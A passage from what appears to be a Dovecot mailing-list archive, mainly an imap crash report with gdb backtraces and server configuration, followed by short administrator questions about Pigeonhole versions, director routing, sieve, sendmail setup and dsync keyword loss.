/etc/dovecot/users driver = passwd-file } plugin { acl = vfile acl_shared_dict = file:/var/vmail/%d/shared-mailboxes } protocols = " imap lmtp" service auth-worker { user = $default_internal_user } service auth { unix_listener /var/spool/postfix/private/auth { mode = 0666 } } service lmtp { unix_listener /var/spool/postfix/private/dovecot-lmtp { group = postfix mode = 0666 user = postfix } } ssl = required ssl_cert = </etc/letsencrypt/live/domain.tld/fullchain.pem ssl_key = </etc/letsencrypt/live/domain.tld/privkey.pem userdb { args = uid=vmail gid=vmail home=/var/vmail/%d/%n driver = static } userdb { args = uid=vmail gid=vmail home=/var/vmail/%d/shared/%n driver = static } protocol imap { mail_plugins = acl imap_acl } Thanks, Marc

2 1

2.2.21 imap crash - autoexpunge related?
by Robert Blayzor 22 Jan '16

22 Jan '16

dovecot --version 2.2.21 (5345f22) FreeBSD 10.2-RELEASE-p10 FreeBSD 10.2-RELEASE-p10 #0 r294322M: having repeated core dumps on imap process… autoexpunge issue? GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "amd64-marcel-freebsd"... Core was generated by `imap'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot-storage.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot-storage.so.0 Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...done. Loaded symbols for /lib/libc.so.7 Reading symbols from /usr/local/lib/dovecot/lib10_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib10_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib11_imap_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib11_imap_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib20_zlib_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib20_zlib_plugin.so Reading symbols from /lib/libz.so.6...done. Loaded symbols for /lib/libz.so.6 Reading symbols from /usr/lib/libbz2.so.4...done. Loaded symbols for /usr/lib/libbz2.so.4 Reading symbols from /usr/lib/liblzma.so.5...done. Loaded symbols for /usr/lib/liblzma.so.5 Reading symbols from /libexec/ld-elf.so.1...done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 198 ostream.c: No such file or directory. in ostream.c (gdb) bt full #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 _stream = (const struct ostream_private *) 0xd #1 0x0000000000435ac9 in notify_ok (mailbox=0x118e1c40, text=0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds", context=0x11845840) at mail-storage-callbacks.c:13 client = (struct client *) 0x11845840 #2 0x000000001096f4e4 in index_storage_lock_notify (box=0x118e1c40, notify_type=MAILBOX_LOCK_NOTIFY_MAILBOX_OVERRIDE, secs_left=0) at index-storage.c:137 ibox = (struct index_mailbox_context *) 0x118e20b0 storage = (struct mail_storage *) 0x11873640 str = 0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds" now = 1453427588 #3 0x00000000108fbedd in dotlock_callback (secs_left=0, stale=true, context=0x118e1c40) at maildir-uidlist.c:250 box = (struct mailbox *) 0x118e1c40 #4 0x0000000010ccba7c in dotlock_create (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK, write_pid=true, lock_path_r=0x7fffffffe4e0) at file-dotlock.c:549 secs_left = 0 set = (const struct dotlock_settings *) 0x118a8140 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" lock_info = {set = 0x118a8140, path = 0x118b59c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock", temp_path = 0x0, fd = -1, lock_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, file_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, last_pid_check = 0, last_change = 0, wait_usecs = 0, have_pid = 0, pid_read = 0, use_io_notify = 1, lock_stated = 1} st = {st_dev = 1, st_ino = 32767, st_mode = 0, st_nlink = 0, st_uid = 0, st_gid = 0, st_rdev = 0, st_atim = {tv_sec = 140737488348216, tv_nsec = 140737488347840}, st_mtim = {tv_sec = 12884901898, tv_nsec = 140737488348320}, st_ctim = {tv_sec = 167, tv_nsec = 0}, st_size = 275162112, st_blocks = 140737488348192, st_blksize = 275046283, st_flags = 0, st_gen = 4294960312, st_lspare = 32767, st_birthtim = {tv_sec = 140737488348216, tv_nsec = 277283844}} stale_notify_threshold = 60 change_secs = 1453427588 wait_left = 2841539708 now = 1453427588 max_wait_time = 0 last_notify = 1453427588 prev_last_change = 0 prev_wait_update = 0 tmp_path = (string_t *) 0x11806270 ret = 0 do_wait = false #5 0x0000000010ccaf87 in file_dotlock_create_real (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK) at file-dotlock.c:629 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" st = {st_dev = 284562744, st_ino = 0, st_mode = 58544, st_nlink = 65535, st_uid = 32767, st_gid = 282105456, st_rdev = 0, st_atim = {tv_sec = 140737488290687, tv_nsec = 50}, st_mtim = {tv_sec = 294345152, tv_nsec = 293746112}, st_ctim = {tv_sec = 284562744, tv_nsec = 294345152}, st_size = 140737488348368, st_blocks = 281883903, st_blksize = 96, st_flags = 0, st_gen = 293746112, st_lspare = 0, st_birthtim = {tv_sec = 140737488348416, tv_nsec = 281819373}} fd = 0 ret = 50 #6 0x0000000010ccae76 in file_dotlock_create (set=0x118dd138, path=0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", flags=DOTLOCK_CREATE_FLAG_NONBLOCK, dotlock_r=0x118dd168) at file-dotlock.c:673 _data_stack_cur_id = 5 dotlock = (struct dotlock *) 0x118a8140 ret = 0 #7 0x00000000108fb891 in maildir_uidlist_lock_timeout (uidlist=0x118dd100, nonblock=true, refresh=true, refresh_when_locked=true) at maildir-uidlist.c:160 box = (struct mailbox *) 0x118e1c40 perm = (const struct mailbox_permissions *) 0x118e1e10 path = 0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist" old_mask = 63 dotlock_flags = DOTLOCK_CREATE_FLAG_NONBLOCK i = 0 ---Type <return> to continue, or q <return> to quit--- ret = -5216 #8 0x00000000108fe066 in maildir_uidlist_sync_lock (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, locked_r=0x7fffffffe617) at maildir-uidlist.c:1608 nonblock = true refresh = true ret = -5184 #9 0x00000000108fdd86 in maildir_uidlist_sync_init (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, sync_ctx_r=0x118061b8) at maildir-uidlist.c:1638 ctx = (struct maildir_uidlist_sync_ctx *) 0x118061b8 locked = false ret = 4 #10 0x00000000108fa021 in maildir_sync_context (ctx=0x11806188, forced=false, find_uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:871 sync_flags = MAILDIR_UIDLIST_SYNC_TRYLOCK flags = 4294960816 new_changed = true cur_changed = true lock_failure = false fname = 0x7fffffffe5a0 "àåÿÿÿ\177" why = 36 ret = 1 #11 0x00000000108f9400 in maildir_sync_run (mbox=0x118e1c40, flags=68, force_resync=false, uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:1023 _data_stack_cur_id = 4 ctx = (struct maildir_sync_context *) 0x11806188 retry = false lost_files = false ret = 294526016 #12 0x00000000108f96b0 in maildir_storage_sync_init (box=0x118e1c40, flags=68) at maildir-sync.c:1096 mbox = (struct maildir_mailbox *) 0x118e1c40 lost_files = false force_resync = false ret = 0 #13 0x00000000108b75b9 in mailbox_sync_init (box=0x118e1c40, flags=68) at mail-storage.c:1657 _data_stack_cur_id = 3 ctx = (struct mailbox_sync_context *) 0xc #14 0x00000000108b6891 in mailbox_sync (box=0x118e1c40, flags=68) at mail-storage.c:1705 ctx = (struct mailbox_sync_context *) 0x206 status = {sync_delayed_expunges = 1} #15 0x00000000108a6e65 in mailbox_autoexpunge (box=0x118e1c40, expire_time=1450835588) at mail-autoexpunge.c:29 t = (struct mailbox_transaction_context *) 0x11873640 mail = (struct mail *) 0x118e1c40 metadata = {guid = '\0' <repeats 15 times>, virtual_size = 0, physical_size = 0, first_save_date = 1450835021, cache_fields = 0x0, precache_fields = 0, backend_ns_prefix = 0x0, backend_ns_type = 0} hdr = (const struct mail_index_header *) 0x118b7f10 seq = 0 timestamp = 140737488349168 ret = 0 #16 0x00000000108a6d54 in mail_namespace_autoexpunge (ns=0x118a6020) at mail-autoexpunge.c:76 box_set__foreach_end = (const void *) 0x118b73f0 box_set = (struct mailbox_settings * const *) 0x118b73d8 box = (struct mailbox *) 0x118e1c40 ---Type <return> to continue, or q <return> to quit--- expire_time = 1450835588 #17 0x00000000108a6c54 in mail_user_autoexpunge (user=0x118b6040) at mail-autoexpunge.c:91 ns = (struct mail_namespace *) 0x118a6020 #18 0x00000000108c1b62 in mail_user_unref (_user=0x118458d0) at mail-user.c:167 user = (struct mail_user *) 0x118b6040 #19 0x00000000004216b4 in client_default_destroy (client=0x11845840, reason=0x0) at imap-client.c:390 cmd = (struct client_command_context *) 0x435c47 #20 0x000000000041f53d in client_destroy (client=0x11845840, reason=0x0) at imap-client.c:263 No locals. #21 0x000000000041eccb in client_input (client=0x11845840) at imap-client.c:1121 cmd = (struct client_command_context *) 0x2118401a0 output = (struct ostream *) 0x0 bytes = 11 #22 0x0000000010ce738f in io_loop_call_io (io=0x1187c240) at ioloop.c:559 ioloop = (struct ioloop *) 0x11821080 t_id = 2 #23 0x0000000010cea343 in io_loop_handler_run_internal (ioloop=0x11821080) at ioloop-kqueue.c:151 ctx = (struct ioloop_handler_context *) 0x118190a0 events = (struct kevent *) 0x1187d000 event = (const struct kevent *) 0x1187d000 tv = {tv_sec = 1799, tv_usec = 999920} ts = {tv_sec = 1799, tv_nsec = 999920000} io = (struct io_file *) 0x1187c240 events_count = 5 ret = 1 i = 0 #24 0x0000000010ce791e in io_loop_handler_run (ioloop=0x11821080) at ioloop.c:607 No locals. #25 0x0000000010ce773f in io_loop_run (ioloop=0x11821080) at ioloop.c:583 No locals. #26 0x0000000010c41aab in master_service_run (service=0x1181b140, callback=0x436ab0 <client_connected>) at master-service.c:640 No locals. #27 0x00000000004363c3 in main (argc=2, argv=0x7fffffffeba8) at main.c:442 set_roots = {0x441248, 0x0} login_set = {auth_socket_path = 0x11806040 "x`\200\021", postlogin_socket_path = 0x11806078 "", postlogin_timeout_secs = 60, callback = 0x436760 <login_client_connected>, failure_callback = 0x436a20 <login_client_failed>, request_auth_token = 1} service_flags = MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT username = 0x0 c = -1 (gdb) For comparison crash on another server, similar: GNU gdb 6.1.1 [FreeBSD] Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "amd64-marcel-freebsd"... Core was generated by `imap'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/local/lib/dovecot/libdovecot-storage.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot-storage.so.0 Reading symbols from /usr/local/lib/dovecot/libdovecot.so.0...done. Loaded symbols for /usr/local/lib/dovecot/libdovecot.so.0 Reading symbols from /lib/libc.so.7...done. Loaded symbols for /lib/libc.so.7 Reading symbols from /usr/local/lib/dovecot/lib10_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib10_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib11_imap_quota_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib11_imap_quota_plugin.so Reading symbols from /usr/local/lib/dovecot/lib20_zlib_plugin.so...done. Loaded symbols for /usr/local/lib/dovecot/lib20_zlib_plugin.so Reading symbols from /lib/libz.so.6...done. Loaded symbols for /lib/libz.so.6 Reading symbols from /usr/lib/libbz2.so.4...done. Loaded symbols for /usr/lib/libbz2.so.4 Reading symbols from /usr/lib/liblzma.so.5...done. Loaded symbols for /usr/lib/liblzma.so.5 Reading symbols from /libexec/ld-elf.so.1...done. Loaded symbols for /libexec/ld-elf.so.1 #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 198 ostream.c: No such file or directory. in ostream.c (gdb) bt full #0 0x0000000010cf9730 in o_stream_get_buffer_used_size (stream=0x0) at ostream.c:198 _stream = (const struct ostream_private *) 0xd #1 0x0000000000435ac9 in notify_ok (mailbox=0x118e1c40, text=0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds", context=0x11845840) at mail-storage-callbacks.c:13 client = (struct client *) 0x11845840 #2 0x000000001096f4e4 in index_storage_lock_notify (box=0x118e1c40, notify_type=MAILBOX_LOCK_NOTIFY_MAILBOX_OVERRIDE, secs_left=0) at index-storage.c:137 ibox = (struct index_mailbox_context *) 0x118e20b0 storage = (struct mail_storage *) 0x11873640 str = 0x118063a8 "Stale mailbox lock file detected, will override in 0 seconds" now = 1453448110 #3 0x00000000108fbedd in dotlock_callback (secs_left=0, stale=true, context=0x118e1c40) at maildir-uidlist.c:250 box = (struct mailbox *) 0x118e1c40 #4 0x0000000010ccba7c in dotlock_create (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK, write_pid=true, lock_path_r=0x7fffffffe4e0) at file-dotlock.c:549 secs_left = 0 set = (const struct dotlock_settings *) 0x118a8140 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" lock_info = {set = 0x118a8140, path = 0x118b59c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock", temp_path = 0x0, fd = -1, lock_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, file_info = {dev = 0, ino = 0, size = 0, ctime = 0, mtime = 0}, last_pid_check = 0, last_change = 0, wait_usecs = 0, have_pid = 0, pid_read = 0, use_io_notify = 1, lock_stated = 1} st = {st_dev = 1, st_ino = 32767, st_mode = 0, st_nlink = 0, st_uid = 0, st_gid = 0, st_rdev = 0, st_atim = {tv_sec = 140737488348216, tv_nsec = 140737488347840}, st_mtim = {tv_sec = 12884901898, tv_nsec = 140737488348320}, st_ctim = {tv_sec = 167, tv_nsec = 0}, st_size = 275162112, st_blocks = 140737488348192, st_blksize = 275046283, st_flags = 0, st_gen = 4294960312, st_lspare = 32767, st_birthtim = {tv_sec = 140737488348216, tv_nsec = 277283844}} stale_notify_threshold = 60 change_secs = 1453448110 wait_left = 2841519186 now = 1453448110 max_wait_time = 0 last_notify = 1453448110 prev_last_change = 0 prev_wait_update = 0 tmp_path = (string_t *) 0x11806270 ret = 0 do_wait = false #5 0x0000000010ccaf87 in file_dotlock_create_real (dotlock=0x118a8140, flags=DOTLOCK_CREATE_FLAG_NONBLOCK) at file-dotlock.c:629 lock_path = 0x11806220 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist.lock" st = {st_dev = 284562744, st_ino = 0, st_mode = 58544, st_nlink = 65535, st_uid = 32767, st_gid = 282105456, st_rdev = 0, st_atim = {tv_sec = 140737488290687, tv_nsec = 50}, st_mtim = {tv_sec = 294345152, tv_nsec = 293746112}, st_ctim = {tv_sec = 284562744, tv_nsec = 294345152}, st_size = 140737488348368, st_blocks = 281883903, st_blksize = 96, st_flags = 0, st_gen = 293746112, st_lspare = 0, st_birthtim = {tv_sec = 140737488348416, tv_nsec = 281819373}} fd = 0 ret = 50 #6 0x0000000010ccae76 in file_dotlock_create (set=0x118dd138, path=0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist", flags=DOTLOCK_CREATE_FLAG_NONBLOCK, dotlock_r=0x118dd168) at file-dotlock.c:673 _data_stack_cur_id = 5 dotlock = (struct dotlock *) 0x118a8140 ret = 0 #7 0x00000000108fb891 in maildir_uidlist_lock_timeout (uidlist=0x118dd100, nonblock=true, refresh=true, refresh_when_locked=true) at maildir-uidlist.c:160 box = (struct mailbox *) 0x118e1c40 perm = (const struct mailbox_permissions *) 0x118e1e10 path = 0x118235c0 "/var/mail/mbox1/0/2/Maildir/.Junk/dovecot-uidlist" old_mask = 63 dotlock_flags = DOTLOCK_CREATE_FLAG_NONBLOCK i = 0 ---Type <return> to continue, or q <return> to quit--- ret = -5216 #8 0x00000000108fe066 in maildir_uidlist_sync_lock (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, locked_r=0x7fffffffe617) at maildir-uidlist.c:1608 nonblock = true refresh = true ret = -5184 #9 0x00000000108fdd86 in maildir_uidlist_sync_init (uidlist=0x118dd100, sync_flags=MAILDIR_UIDLIST_SYNC_TRYLOCK, sync_ctx_r=0x118061b8) at maildir-uidlist.c:1638 ctx = (struct maildir_uidlist_sync_ctx *) 0x118061b8 locked = false ret = 4 #10 0x00000000108fa021 in maildir_sync_context (ctx=0x11806188, forced=false, find_uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:871 sync_flags = MAILDIR_UIDLIST_SYNC_TRYLOCK flags = 4294960816 new_changed = true cur_changed = true lock_failure = false fname = 0x7fffffffe5a0 "àåÿÿÿ\177" why = 36 ret = 1 #11 0x00000000108f9400 in maildir_sync_run (mbox=0x118e1c40, flags=68, force_resync=false, uid=0x0, lost_files_r=0x7fffffffe71f) at maildir-sync.c:1023 _data_stack_cur_id = 4 ctx = (struct maildir_sync_context *) 0x11806188 retry = false lost_files = false ret = 294526016 #12 0x00000000108f96b0 in maildir_storage_sync_init (box=0x118e1c40, flags=68) at maildir-sync.c:1096 mbox = (struct maildir_mailbox *) 0x118e1c40 lost_files = false force_resync = false ret = 0 #13 0x00000000108b75b9 in mailbox_sync_init (box=0x118e1c40, flags=68) at mail-storage.c:1657 _data_stack_cur_id = 3 ctx = (struct mailbox_sync_context *) 0xc #14 0x00000000108b6891 in mailbox_sync (box=0x118e1c40, flags=68) at mail-storage.c:1705 ctx = (struct mailbox_sync_context *) 0x206 status = {sync_delayed_expunges = 1} #15 0x00000000108a6e65 in mailbox_autoexpunge (box=0x118e1c40, expire_time=1450856110) at mail-autoexpunge.c:29 t = (struct mailbox_transaction_context *) 0x11873640 mail = (struct mail *) 0x118e1c40 metadata = {guid = '\0' <repeats 15 times>, virtual_size = 0, physical_size = 0, first_save_date = 1450855115, cache_fields = 0x0, precache_fields = 0, backend_ns_prefix = 0x0, backend_ns_type = 0} hdr = (const struct mail_index_header *) 0x118b7f10 seq = 0 timestamp = 140737488349168 ret = 0 #16 0x00000000108a6d54 in mail_namespace_autoexpunge (ns=0x118a6020) at mail-autoexpunge.c:76 box_set__foreach_end = (const void *) 0x118b73f0 box_set = (struct mailbox_settings * const *) 0x118b73d8 box = (struct mailbox *) 0x118e1c40 ---Type <return> to continue, or q <return> to quit--- expire_time = 1450856110 #17 0x00000000108a6c54 in mail_user_autoexpunge (user=0x118b6040) at mail-autoexpunge.c:91 ns = (struct mail_namespace *) 0x118a6020 #18 0x00000000108c1b62 in mail_user_unref (_user=0x118458d0) at mail-user.c:167 user = (struct mail_user *) 0x118b6040 #19 0x00000000004216b4 in client_default_destroy (client=0x11845840, reason=0x0) at imap-client.c:390 cmd = (struct client_command_context *) 0x435c47 #20 0x000000000041f53d in client_destroy (client=0x11845840, reason=0x0) at imap-client.c:263 No locals. #21 0x000000000041eccb in client_input (client=0x11845840) at imap-client.c:1121 cmd = (struct client_command_context *) 0x2118401a0 output = (struct ostream *) 0x0 bytes = 11 #22 0x0000000010ce738f in io_loop_call_io (io=0x1187c240) at ioloop.c:559 ioloop = (struct ioloop *) 0x11821080 t_id = 2 #23 0x0000000010cea343 in io_loop_handler_run_internal (ioloop=0x11821080) at ioloop-kqueue.c:151 ctx = (struct ioloop_handler_context *) 0x118190a0 events = (struct kevent *) 0x1187d000 event = (const struct kevent *) 0x1187d000 tv = {tv_sec = 1799, tv_usec = 999858} ts = {tv_sec = 1799, tv_nsec = 999858000} io = (struct io_file *) 0x1187c240 events_count = 5 ret = 1 i = 0 #24 0x0000000010ce791e in io_loop_handler_run (ioloop=0x11821080) at ioloop.c:607 No locals. #25 0x0000000010ce773f in io_loop_run (ioloop=0x11821080) at ioloop.c:583 No locals. #26 0x0000000010c41aab in master_service_run (service=0x1181b140, callback=0x436ab0 <client_connected>) at master-service.c:640 No locals. #27 0x00000000004363c3 in main (argc=2, argv=0x7fffffffeba8) at main.c:442 set_roots = {0x441248, 0x0} login_set = {auth_socket_path = 0x11806040 "x`\200\021", postlogin_socket_path = 0x11806078 "", postlogin_timeout_secs = 60, callback = 0x436760 <login_client_connected>, failure_callback = 0x436a20 <login_client_failed>, request_auth_token = 1} service_flags = MASTER_SERVICE_FLAG_KEEP_CONFIG_OPEN storage_service_flags = MAIL_STORAGE_SERVICE_FLAG_DISALLOW_ROOT username = 0x0 c = -1 Current language: auto; currently minimal dovecot -n # 2.2.21 (5345f22): /usr/local/etc/dovecot/dovecot.conf # Pigeonhole version 0.4.11 (6ddf62b87f60+) # OS: FreeBSD 10.2-RELEASE-p10 amd64 doveconf: Warning: Dovecot was last started using /etc/dovecot/dovecot.conf, but this config is /usr/local/etc/dovecot/dovecot.conf auth_cache_size = 10 M auth_cache_ttl = 5 mins auth_mechanisms = plain login auth_socket_path = /var/run/dovecot/auth-userdb auth_verbose = yes auth_worker_max_count = 10 base_dir = /var/run/dovecot/ default_client_limit = 2000 default_process_limit = 200 disable_plaintext_auth = no first_valid_uid = 25 imap_idle_notify_interval = 4 mins log_timestamp = "%Y-%m-%d %H:%M:%S " login_greeting = Ready to serve. mail_fsync = always mail_location = maildir:~/Maildir mail_nfs_index = yes mail_nfs_storage = yes mail_plugins = zlib quota mail_temp_dir = /var/tmp mailbox_list_index = yes maildir_very_dirty_syncs = yes managesieve_sieve_capability = fileinto reject envelope encoded-character vacation subaddress comparator-i;ascii-numeric relational regex imap4flags copy include variables body environment mailbox date index ihave duplicate mime foreverypart mbox_write_locks = fcntl mmap_disable = yes namespace inbox { inbox = yes location = mailbox Archive { auto = subscribe special_use = \Archive } mailbox Drafts { auto = subscribe special_use = \Drafts } mailbox Junk { auto = subscribe autoexpunge = 30 days special_use = \Junk } mailbox Sent { auto = subscribe special_use = \Sent } mailbox Trash { auto = subscribe autoexpunge = 2 weeks special_use = \Trash } prefix = separator = / } passdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } plugin { quota = maildir:User quota quota_exceeded_message = Quota exceeded (Mailbox is full) quota_rule = *:storage=1G quota_rule2 = Trash:ignore sieve = ~/.dovecot.sieve sieve_default = /etc/dovecot/sieve/global/JunkFolder.sieve sieve_dir = ~/.sieve sieve_extensions = -enotify sieve_global_dir = /etc/dovecot/sieve/global/ zlib_save = xz zlib_save_level = 6 } pop3_fast_size_lookups = yes pop3_save_uidl = yes protocols = imap pop3 lmtp sieve rejection_reason = Your message to <%t> was rejected:%n%n %r%n rejection_subject = [BOUNCE] %s service imap-login { inet_listener imap { port = 143 } process_min_avail = 4 service_count = 100 } service imap { executable = imap last-login } service last-login { user = mailnull } service lmtp { process_min_avail = 4 unix_listener lmtp { mode = 0666 } user = mailnull } service managesieve-login { inet_listener sieve { port = 4190 } service_count = 1 } service managesieve { process_limit = 100 } service pop3-login { inet_listener pop3 { port = 110 } process_min_avail = 4 service_count = 100 } service pop3 { executable = pop3 last-login } ssl = no ssl_cipher_list = ALL:!SSLv2:!LOW:!ADH:!NULL:!DES:@STRENGTH ssl_protocols = !SSLv2 !SSLv3 submission_host = localhost:25 userdb { driver = prefetch } userdb { args = /etc/dovecot/dovecot-sql.conf driver = sql } protocol lmtp { mail_plugins = zlib quota sieve } protocol lda { mail_plugins = zlib quota } protocol imap { mail_max_userip_connections = 8 mail_plugins = zlib quota imap_quota } protocol pop3 { mail_max_userip_connections = 2 mail_plugins = zlib quota } protocol sieve { mail_max_userip_connections = 3 managesieve_implementation_string = Dovecot managesieve_max_line_length = 65536 }

2 1

how do I get the version of the pigeonhole-sieve plugin
by Heiko Schlittermann 22 Jan '16

22 Jan '16

Hello, as may parts of the dovecot configuration docs refer to sieve and it's specific versions, like NOTE: Pigeonhole versions before v0.3.1 do not support the lo … how do I get the Pigeonhole version my local dovecot uses? The package version number of the ubuntu package dovecot-sieve isn't telling me anything here, because it's bound to the dovecot version number. What do I miss here? Thank you. Best regards from Dresden/Germany Viele Grüße aus Dresden Heiko Schlittermann -- SCHLITTERMANN.de ---------------------------- internet & unix support - Heiko Schlittermann, Dipl.-Ing. (TU) - {fon,fax}: +49.351.802998{1,3} - gnupg encrypted messages are welcome --------------- key ID: F69376CE - ! key id 7CBF764A and 972EAC9F are revoked since 2015-01 ------------ -

2 2

dovecot director redirect some user to always same backend
by Tobi 22 Jan '16

22 Jan '16

Hello list I have a question on how to enforce certain user(s) always to the same backend in a dovecot setup with director. So I changed my passdb-mysql query SELECT password AS password, username AS destuser, 'Y' as proxy, (CASE username WHEN LIKE 'user' THEN '10.66.99.6' ELSE null END) as host from mailbox WHERE username = '%u' AND active = 1; But then I saw in the dovecot manual that the director does nothing if the passdb query already returns a host field. So I'm quite unsure whether a host field with value NULL means that the host field is not present and therefore the director should insert it into the result or not. Thanks tobi

2 1

Hypothetical feature suggestion
by Stephen Feyrer 21 Jan '16

21 Jan '16

Hi, Assuming one sends an E-mail which in turn requires either an update or correction. The current practise is to send a subsequent E-mail with the new or corrected info. I would like to suggest a small feature. I recognise that this would require that the sending application would need to support this same feature. The sender should be able to edit a sent email, transmit a diff of the original and then the receiving mail store composite the changes into a new email. This could be with or without features to allow the review historic versions of said E-mail. Alternatively, regular expressions could be employed to achieve this effect (albeit, a more complex approach). This would provide a kind of Web 2 look on E-mail. -- Kind regards Stephen Feyrer

2 1

Help with sieve
by Joy 21 Jan '16

21 Jan '16

Dear Experts, I am having following script which is working perfectly on 3 server but not working as expected on new server. I have updated latest sieve software compiled from source, In case i use fileinto to move mail to other folder it works perfectly .. require ["fileinto","imap4flags","envelope","body"]; #1 if allof (header :contains ["Subject"] ["test"] ){ setflag "\\Seen"; addflag "\\Flagged"; addflag "BUG"; }

2 1

Multiple Domains
by Doug Hardie 20 Jan '16

20 Jan '16

I have Dovecot 2.2.19 running. However, one client has a rather unusual need. There are multiple domains that currently access their mail on the server. However, this on domain/client wants to use a different port for their users to access mail. Anyone on the standard port trying to download mail would receive an invalid user error (or whatever the proper error for that is). Likewise, only this clients users could access their mail on the new port. Is this possible? — Doug

2 2

Configure the sendmail with the dovecot.
by Lucky . 20 Jan '16

20 Jan '16

Hi Dovecot team/All, First of all, I always appreciated your contribution & effort. Can you please provide the step for configure sendmail with dovecot. We could not understand the parameter which mention in sendmail.cf file. Please provide the parameter description as well as where need to change exactly in sendmail.cf file. Thanks and Regards, Lucky ============================================================================================================================ Disclaimer: This message and the information contained herein is proprietary and confidential and subject to the Tech Mahindra policy statement, you may review the policy at http://www.techmahindra.com/Disclaimer.html externally http://tim.techmahindra.com/tim/disclaimer.html internally within TechMahindra. ============================================================================================================================

3 4

dsync: loss of keywords in 2.2.13
by Benoit Branciard 20 Jan '16

20 Jan '16

After some tests, we found that "dsync backup" sometimes fails to copy all the IMAP "keywords" (labels) from the source mailbox to the backup one. Our Dovecot version is 2.2.13 (Debian Jessie package 1:2.2.13-12~deb8u1). We are migrating mailboxes from MBOX (with separate indexes) to MDBOX (with custom DIRNAME) format. The source mail_location is: mail_location = mbox:~/mail:INBOX=~/mail/INBOX:INDEX=/var/cache/dovecot/indexes/%16Hu/%u and the target: mail_location = mdbox:~/mdbox:DIRNAME=_@@_dbox-Mails_@@_ and we use the following dsync command to replicate (twice, a first "hot" run, and a second "cold" run with lda and user kicked off). dsync -o mail_access_groups=$mgroup -u "$login" backup "mdbox:$mdbhome/mdbox:DIRNAME=_@@_dbox-Mails_@@_" where $login is username, $mgroup is an UNIX group which has write access to the (temporary chowned/chmoded) mailbox, and $mdbhome is the new (MDBOX) user's home. It appears that some keywords get replicated, but some other do not. The only workaroud we found is to backup all keywords with "doveadm fetch 'mailbox uid flags' keywords '*'", an restore them on the new mailbox with "doveadm flags add". This solution yields no keyword loss. has this problem already been addressed ? -- Benoit BRANCIARD Service InfraStructures (SIS) Direction du Système d'Information et des Usages Numériques (DSIUN) Université Paris 1 Panthéon-Sorbonne Centre Pierre Mendès France 90 rue de Tolbiac - 75634 Paris cedex 13 - France Bur. B406 - Tél +33 1 44 07 89 68 - Fax +33 1 44 07 89 66 Accueil: +33 1 44 07 89 65 - Assistance-DSIUN(a)univ-paris1.fr http://dsi.univ-paris1.fr

1 0

sieve and authentication
by Brendan Kearney 20 Jan '16

20 Jan '16

